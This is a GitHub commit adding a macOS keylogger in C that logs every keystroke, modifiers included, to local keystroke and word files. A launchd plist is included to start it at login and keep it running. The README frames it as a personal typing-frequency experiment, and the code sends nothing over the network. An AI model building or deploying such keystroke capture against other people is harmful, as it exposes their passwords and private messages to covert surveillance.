Skip to content

Commit 90e0cfa

Browse files
Alan HansonAlan Hanson
Alan Hanson
authored and
Alan Hanson
committed
Commit of inital version of the key logger
This version records both single keys in one file and tries to form words in another file. More work to do around getting the words to be correct as well as deal with delete
1 parent c724e11 commit 90e0cfa

File tree

5 files changed

+368
-2
lines changed

5 files changed

+368
-2
lines changed

‎.gitignore

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
keylogger
2+
words.log
3+
keystroke.log

‎Makefile

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
# export SDKROOT="/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk"
2+
CC=gcc
3+
CFLAGS=-framework ApplicationServices -framework Carbon
4+
SOURCES=keylogger.c
5+
EXECUTABLE=keylogger
6+
PLIST=keylogger.plist
7+
INSTALLDIR=/usr/local/bin
8+
9+
all: $(SOURCES)
10+
$(CC) $(SOURCES) $(CFLAGS) -o $(EXECUTABLE)
11+
12+
clean:
13+
rm $(EXECUTABLE)

‎README.md

+18-2
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,18 @@
1-
# keyl
2-
Key logger
1+
# Mac OS X Keylogger
2+
3+
This code is a copy and modification of this repo: https://github.com/caseyscarborough/keylogger
4+
As an experiment to see what keys I most frequently type, I copied the above repo and modified it for my specific usage.
5+
6+
## Usage
7+
8+
```bash
9+
$ export SDKROOT="/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk"
10+
$ make
11+
```
12+
13+
The application by default logs to `./keystroke.log` and `./words.log`
14+
15+
```bash
16+
$ keylogger
17+
Logging to: keystroke.log and words.log
18+
```

‎keylogger.c

+318
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,318 @@
1+
/*
2+
* Keylogger for MacOS.
3+
* Original source was from https://github.com/caseyscarborough/keylogger
4+
* I modifed it to suit my needs as far a printing one character
5+
* per line in the log and included caps and modifier keys.
6+
*/
7+
#include <stdio.h>
8+
#include <time.h>
9+
#include <string.h>
10+
#include <ApplicationServices/ApplicationServices.h>
11+
#include <Carbon/Carbon.h>
12+
13+
CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*);
14+
const char *convertKeyCode(int, bool);
15+
16+
FILE *outfile = NULL;
17+
const char *keyfile = "keystroke.log";
18+
FILE *outword = NULL;
19+
const char *wordfile = "words.log";
20+
21+
// This struct keeps track of what modifier keys are currently active
22+
struct modifier {
23+
bool lshift;
24+
bool rshift;
25+
bool lctrl;
26+
bool rctrl;
27+
bool lcmd;
28+
bool rcmd;
29+
bool lalt;
30+
bool ralt;
31+
bool func;
32+
bool caps;
33+
} mdf;
34+
35+
// Toggle the value of a modifier key. Note that we assume no modifiers are
36+
// set when the program starts. This will introduce accounting irregularities
37+
// if a modifer is pressed during startup.
38+
// This also assumes we get an event for key down and then a second event
39+
// for key up.
40+
void update_modifier(struct modifier *mod_list, CGKeyCode modifier)
41+
{
42+
switch (modifier) {
43+
case 54:
44+
mod_list->lcmd = !mod_list->lcmd;
45+
break;
46+
case 55:
47+
mod_list->rcmd = !mod_list->rcmd;
48+
break;
49+
case 56:
50+
mod_list->lshift = !mod_list->lshift;
51+
break;
52+
case 57:
53+
mod_list->caps = !mod_list->caps;
54+
break;
55+
case 58:
56+
mod_list->lalt = !mod_list->lalt;
57+
break;
58+
case 59:
59+
mod_list->lctrl = !mod_list->lctrl;
60+
break;
61+
case 60:
62+
mod_list->rshift = !mod_list->rshift;
63+
break;
64+
case 61:
65+
mod_list->rshift = !mod_list->rshift;
66+
break;
67+
case 62:
68+
mod_list->rctrl = !mod_list->rctrl;
69+
break;
70+
case 63:
71+
mod_list->func = !mod_list->func;
72+
break;
73+
default:
74+
fprintf(stderr, "Error, unknown modifier %d\n", modifier);
75+
break;
76+
}
77+
}
78+
79+
void print_modifier(struct modifier *mod_list, FILE *fp)
80+
{
81+
// Caps and shift(s) are handled during the character printing
82+
if ( mod_list->lcmd )
83+
fprintf(fp, "%s", convertKeyCode(55, false));
84+
if ( mod_list->rcmd )
85+
fprintf(fp, "%s", convertKeyCode(54, false));
86+
if ( mod_list->lalt )
87+
fprintf(fp, "%s", convertKeyCode(58, false));
88+
if ( mod_list->ralt )
89+
fprintf(fp, "%s", convertKeyCode(61, false));
90+
if ( mod_list->lctrl )
91+
fprintf(fp, "%s", convertKeyCode(59, false));
92+
if ( mod_list->rctrl )
93+
fprintf(fp, "%s", convertKeyCode(62, false));
94+
if ( mod_list->func )
95+
fprintf(fp, "%s", convertKeyCode(63, false));
96+
}
97+
98+
// The following callback method is invoked on every keypress.
99+
CGEventRef CGEventCallback(CGEventTapProxy proxy, CGEventType type,
100+
CGEventRef event, void *refcon)
101+
{
102+
int keyCode;
103+
104+
// Ignore events we don't care about
105+
if (type != kCGEventKeyDown &&
106+
type != kCGEventFlagsChanged &&
107+
type != kCGEventKeyUp)
108+
return event;
109+
110+
// Retrieve the incoming keycode.
111+
keyCode = (int) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
112+
113+
// If it's just a modifier key, update internal state and return
114+
if ( type == kCGEventFlagsChanged ) {
115+
update_modifier(&mdf, keyCode);
116+
return event;
117+
}
118+
if (type == kCGEventKeyUp) {
119+
return event;
120+
}
121+
122+
// If any modifiers are set, print them first
123+
print_modifier(&mdf, outfile);
124+
print_modifier(&mdf, outword);
125+
126+
// Print the human readable key to the logfile.
127+
bool shift = mdf.rshift || mdf.lshift || mdf.caps;
128+
fprintf(outfile, "%s\n", convertKeyCode(keyCode, shift));
129+
fflush(outfile);
130+
131+
// Print the word line
132+
if ((int)keyCode == 36 || (int)keyCode == 49) {
133+
fprintf(outword, "\n");
134+
fflush(outword);
135+
} else {
136+
fprintf(outword, "%s", convertKeyCode(keyCode, shift));
137+
}
138+
139+
return event;
140+
}
141+
142+
// The following method converts the key code returned by each keypress as
143+
// a human readable key code in const char format.
144+
//
145+
// This list is also customized to my keyboard specifically with regards to
146+
// what the shift modifier does for specific keys, and that may not be the
147+
// same for you.
148+
const char *convertKeyCode(int keyCode, bool shift)
149+
{
150+
switch ((int) keyCode) {
151+
case 0: return(shift ? "A" : "a");
152+
case 1: return(shift ? "S" : "s");
153+
case 2: return(shift ? "D" : "d");
154+
case 3: return(shift ? "F" : "f");
155+
case 4: return(shift ? "H" : "h");
156+
case 5: return(shift ? "G" : "g");
157+
case 6: return(shift ? "Z" : "z");
158+
case 7: return(shift ? "X" : "x");
159+
case 8: return(shift ? "C" : "c");
160+
case 9: return(shift ? "V" : "v");
161+
case 11: return(shift ? "B" : "b");
162+
case 12: return(shift ? "Q" : "q");
163+
case 13: return(shift ? "W" : "w");
164+
case 14: return(shift ? "E" : "e");
165+
case 15: return(shift ? "R" : "r");
166+
case 16: return(shift ? "Y" : "y");
167+
case 17: return(shift ? "T" : "t");
168+
case 18: return(shift ? "!" : "1");
169+
case 19: return(shift ? "@" : "2");
170+
case 20: return(shift ? "#" : "3");
171+
case 21: return(shift ? "$" : "4");
172+
case 22: return(shift ? "^" : "6");
173+
case 23: return(shift ? "%" : "5");
174+
case 24: return(shift ? "+" : "=");
175+
case 25: return(shift ? "(" : "9");
176+
case 26: return(shift ? "&" : "7");
177+
case 27: return(shift ? "_" : "-");
178+
case 28: return(shift ? "*" : "8");
179+
case 29: return(shift ? ")" : "0");
180+
case 30: return(shift ? "}" : "]");
181+
case 31: return(shift ? "O" : "o");
182+
case 32: return(shift ? "U" : "u");
183+
case 33: return(shift ? "{" : "[");
184+
case 34: return(shift ? "I" : "i");
185+
case 35: return(shift ? "P" : "p");
186+
case 37: return(shift ? "L" : "l");
187+
case 38: return(shift ? "J" : "j");
188+
case 39: return(shift ? "\"" : "'");
189+
case 40: return(shift ? "K" : "k");
190+
case 41: return(shift ? ":" : ";");
191+
case 42: return(shift ? "|" : "\\");
192+
case 43: return(shift ? "<" : ",");
193+
case 44: return(shift ? "?" : "/");
194+
case 45: return(shift ? "N" : "n");
195+
case 46: return(shift ? "M" : "m");
196+
case 47: return(shift ? ">" : ".");
197+
case 50: return(shift ? "~" : "`");
198+
case 65: return "[decimal]";
199+
case 67: return "[asterisk]";
200+
case 69: return "[plus]";
201+
case 71: return "[clear]";
202+
case 75: return "[divide]";
203+
case 76: return "[enter]";
204+
case 78: return "[hyphen]";
205+
case 81: return "[equals]";
206+
case 82: return "0";
207+
case 83: return "1";
208+
case 84: return "2";
209+
case 85: return "3";
210+
case 86: return "4";
211+
case 87: return "5";
212+
case 88: return "6";
213+
case 89: return "7";
214+
case 91: return "8";
215+
case 92: return "9";
216+
case 36: return "[return]";
217+
case 48: return "[tab]";
218+
case 49: return "[space]";
219+
case 51: return "[del]";
220+
case 53: return "[esc]";
221+
case 54: return "[r-cmd]";
222+
case 55: return "[l-cmd]";
223+
case 56: return "[l-shift]";
224+
case 57: return "[caps]";
225+
case 58: return "[l-alt]";
226+
case 59: return "[l-ctrl]";
227+
case 60: return "[r-shift]";
228+
case 61: return "[r-alt]";
229+
case 62: return "[r-ctrl]";
230+
case 63: return "[fn]";
231+
case 64: return "[f17]";
232+
case 72: return "[volup]";
233+
case 73: return "[voldown]";
234+
case 74: return "[mute]";
235+
case 79: return "[f18]";
236+
case 80: return "[f19]";
237+
case 90: return "[f20]";
238+
case 96: return "[f5]";
239+
case 97: return "[f6]";
240+
case 98: return "[f7]";
241+
case 99: return "[f3]";
242+
case 100: return "[f8]";
243+
case 101: return "[f9]";
244+
case 103: return "[f11]";
245+
case 105: return "[f13]";
246+
case 106: return "[f16]";
247+
case 107: return "[f14]";
248+
case 109: return "[f10]";
249+
case 111: return "[f12]";
250+
case 113: return "[f15]";
251+
case 114: return "[help]";
252+
case 115: return "[home]";
253+
case 116: return "[pgup]";
254+
case 117: return "[fwddel]";
255+
case 118: return "[f4]";
256+
case 119: return "[end]";
257+
case 120: return "[f2]";
258+
case 121: return "[pgdown]";
259+
case 122: return "[f1]";
260+
case 123: return "[left]";
261+
case 124: return "[right]";
262+
case 125: return "[down]";
263+
case 126: return "[up]";
264+
}
265+
return "[unknown]";
266+
}
267+
268+
int main(int argc, const char *argv[])
269+
{
270+
271+
// Create an event tap to retrieve keypresses.
272+
CGEventMask eventMask = (CGEventMaskBit(kCGEventKeyDown) |
273+
CGEventMaskBit(kCGEventKeyUp) |
274+
CGEventMaskBit(kCGEventFlagsChanged));
275+
CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap,
276+
kCGHeadInsertEventTap, 0,
277+
eventMask,
278+
CGEventCallback, NULL
279+
);
280+
281+
// Exit the program if unable to create the event tap.
282+
if(!eventTap) {
283+
fprintf(stderr, "ERROR: Unable to create event tap.\n");
284+
exit(1);
285+
}
286+
287+
// Create a run loop source and add enable the event tap.
288+
CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(
289+
kCFAllocatorDefault, eventTap, 0);
290+
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource,
291+
kCFRunLoopCommonModes);
292+
CGEventTapEnable(eventTap, true);
293+
294+
// Open the logfile.
295+
outfile = fopen(keyfile, "a");
296+
if (!outfile) {
297+
fprintf(stderr, "ERROR: Unable to open log file %s.\n", keyfile);
298+
exit(1);
299+
}
300+
outword = fopen(wordfile, "a");
301+
if (!outword) {
302+
fprintf(stderr, "ERROR: Unable to open word file %s.\n", wordfile);
303+
exit(1);
304+
}
305+
306+
// Output to logfile.
307+
time_t t = time(NULL);
308+
fprintf(outfile, "Keylogging started at %s\n", asctime(localtime(&t)));
309+
fflush(outfile);
310+
fprintf(outword, "Wordlogging started at %s\n", asctime(localtime(&t)));
311+
fflush(outword);
312+
313+
// Display the location of the logfile and start the loop.
314+
printf("Logging to: %s and %s\n", keyfile, wordfile);
315+
CFRunLoopRun();
316+
317+
return 0;
318+
}

‎keylogger.plist

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
3+
<plist version="1.0">
4+
<dict>
5+
<key>Label</key>
6+
<string>keylogger</string>
7+
<key>ProgramArguments</key>
8+
<array>
9+
<string>/usr/local/bin/keylogger</string>
10+
</array>
11+
<key>RunAtLoad</key>
12+
<true/>
13+
<key>KeepAlive</key>
14+
<true/>
15+
</dict>
16+
</plist>

0 commit comments

Comments
 (0)